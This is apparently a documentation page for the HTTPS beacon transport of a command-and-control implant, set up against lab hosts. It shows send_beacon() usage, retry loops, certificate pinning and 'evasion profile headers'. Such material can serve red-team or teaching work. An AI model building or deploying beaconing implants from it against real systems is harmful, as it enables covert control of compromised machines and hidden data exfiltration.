Skip to main content

​
Overview

The HTTP transport layer provides secure beacon communication over HTTPS with certificate pinning and host validation. All requests use a TLS-pinned session and validate against an allowlist of approved servers. Module: transport.http_transport

​
Functions

​
send_beacon()

Sends an encrypted beacon payload to the C2 server via HTTPS POST request. 
def send_beacon(endpoint: str, payload: bytes) -> bytes:
    """
    Validate host, POST encrypted payload, return raw response bytes.
    """

​
Parameters

​
endpoint
str
required
Full HTTPS URL of the C2 beacon endpoint. Hostname must be in ALLOWED_HOSTS configuration.Example: https://192.168.100.10:8443/beacon
​
payload
bytes
required
Encrypted beacon data to send to the server. Should be pre-encrypted by the encryption layer.

​
Returns

​
response
bytes
Raw response body from the server, limited to MAX_RESPONSE_BYTES (65536 bytes)

​
Raises

​
TransportError
Raised when:
  • Endpoint hostname is not in ALLOWED_HOSTS
  • Endpoint URL is malformed or missing hostname
  • Connection fails or times out
  • Server returns HTTP status >= 400
  • Request times out after REQUEST_TIMEOUT_S (10 seconds)

​
Security Features

  1. Host Validation: Only connects to servers in the ALLOWED_HOSTS configuration
  2. TLS Certificate Pinning: Uses a specific certificate via TLSAdapter
  3. Request Timeout: Hard 10-second timeout prevents hanging connections
  4. Response Size Limit: Caps response at 65536 bytes to prevent memory exhaustion
  5. Traffic Profiling: Automatically applies evasion profile headers

​
Usage Examples

​
Basic Beacon Send

from transport.http_transport import send_beacon
from common.utils import TransportError

# Prepare encrypted payload
encrypted_data = b"\x89\x50\x4e\x47..."  # Your encrypted beacon

try:
    response = send_beacon(
        endpoint='https://192.168.100.10:8443/beacon',
        payload=encrypted_data
    )
    print(f"Received {len(response)} bytes from server")
except TransportError as e:
    print(f"Beacon failed: {e}")

​
With Error Handling

from transport.http_transport import send_beacon
from common.utils import TransportError
import time

def send_with_retry(endpoint: str, payload: bytes, max_retries: int = 3) -> bytes:
    """Send beacon with exponential backoff retry."""
    for attempt in range(max_retries):
        try:
            return send_beacon(endpoint, payload)
        except TransportError as e:
            if attempt == max_retries - 1:
                raise
            wait = 2 ** attempt
            print(f"Retry {attempt + 1}/{max_retries} after {wait}s: {e}")
            time.sleep(wait)

# Use in beacon loop
response = send_with_retry(
    endpoint='https://192.168.100.10:8443/beacon',
    payload=encrypted_data
)

​
Checking HTTP Status Codes

from transport.http_transport import send_beacon
from common.utils import TransportError

try:
    response = send_beacon(endpoint, payload)
    # Success - process response
    process_response(response)
except TransportError as e:
    # Check if error has HTTP status code
    if hasattr(e, 'status_code'):
        if e.status_code == 404:
            print("Endpoint not found - check server configuration")
        elif e.status_code >= 500:
            print("Server error - may retry")
    else:
        print(f"Network error: {e}")

​
Configuration

The transport layer relies on several configuration values: 
# common/config.py
ALLOWED_HOSTS = ['192.168.100.10', 'c2.lab.internal']
TLS_CERT_PATH = 'certs/server.crt'
SERVER_PORT = 8443

​
Constants

​
REQUEST_TIMEOUT_S
int
default:"10"
Hard timeout in seconds for all outbound HTTP requests
​
MAX_RESPONSE_BYTES
int
default:"65536"
Maximum response size to prevent oversized server responses (64 KB)

​
TLSAdapter Class

Internal adapter that forces the requests library to use a specific SSL context. 
class TLSAdapter(HTTPAdapter):
    """Adapter that forces requests to use a specific SSLContext."""
    
    def __init__(self, ssl_context):
        self._ssl_context = ssl_context
        super().__init__()
    
    def init_poolmanager(self, connections, maxsize, block=False, **kwargs):
        kwargs['ssl_context'] = self._ssl_context
        return super().init_poolmanager(connections, maxsize, block, **kwargs)

​
Internal Functions

​
_build_session()

Creates a requests.Session with TLS certificate pinning. 
def _build_session() -> requests.Session:
    """Create a requests.Session with TLS cert pinned to config.TLS_CERT_PATH."""
Raises: TransportError if certificate file not found at TLS_CERT_PATH

​
_validate_host()

Validates that the endpoint hostname is in the allowed hosts list. 
def _validate_host(endpoint: str) -> None:
    """Raise TransportError if the endpoint host is not in ALLOWED_HOSTS."""
Raises: TransportError if hostname is missing, invalid, or not in ALLOWED_HOSTS

​
Logging

The transport layer logs key events: 
# Successful beacon
logger.info('sending beacon', extra={
    'endpoint': 'https://192.168.100.10:8443/beacon',
    'payload_size': 1024
})

logger.info('beacon response received', extra={
    'endpoint': 'https://192.168.100.10:8443/beacon',
    'status_code': 200,
    'response_size': 512
})

# Errors
logger.warning('connection error', extra={
    'endpoint': 'https://192.168.100.10:8443/beacon',
    'reason': 'Connection refused'
})

Build docs developers (and LLMs) love

Get started for freeTalk to us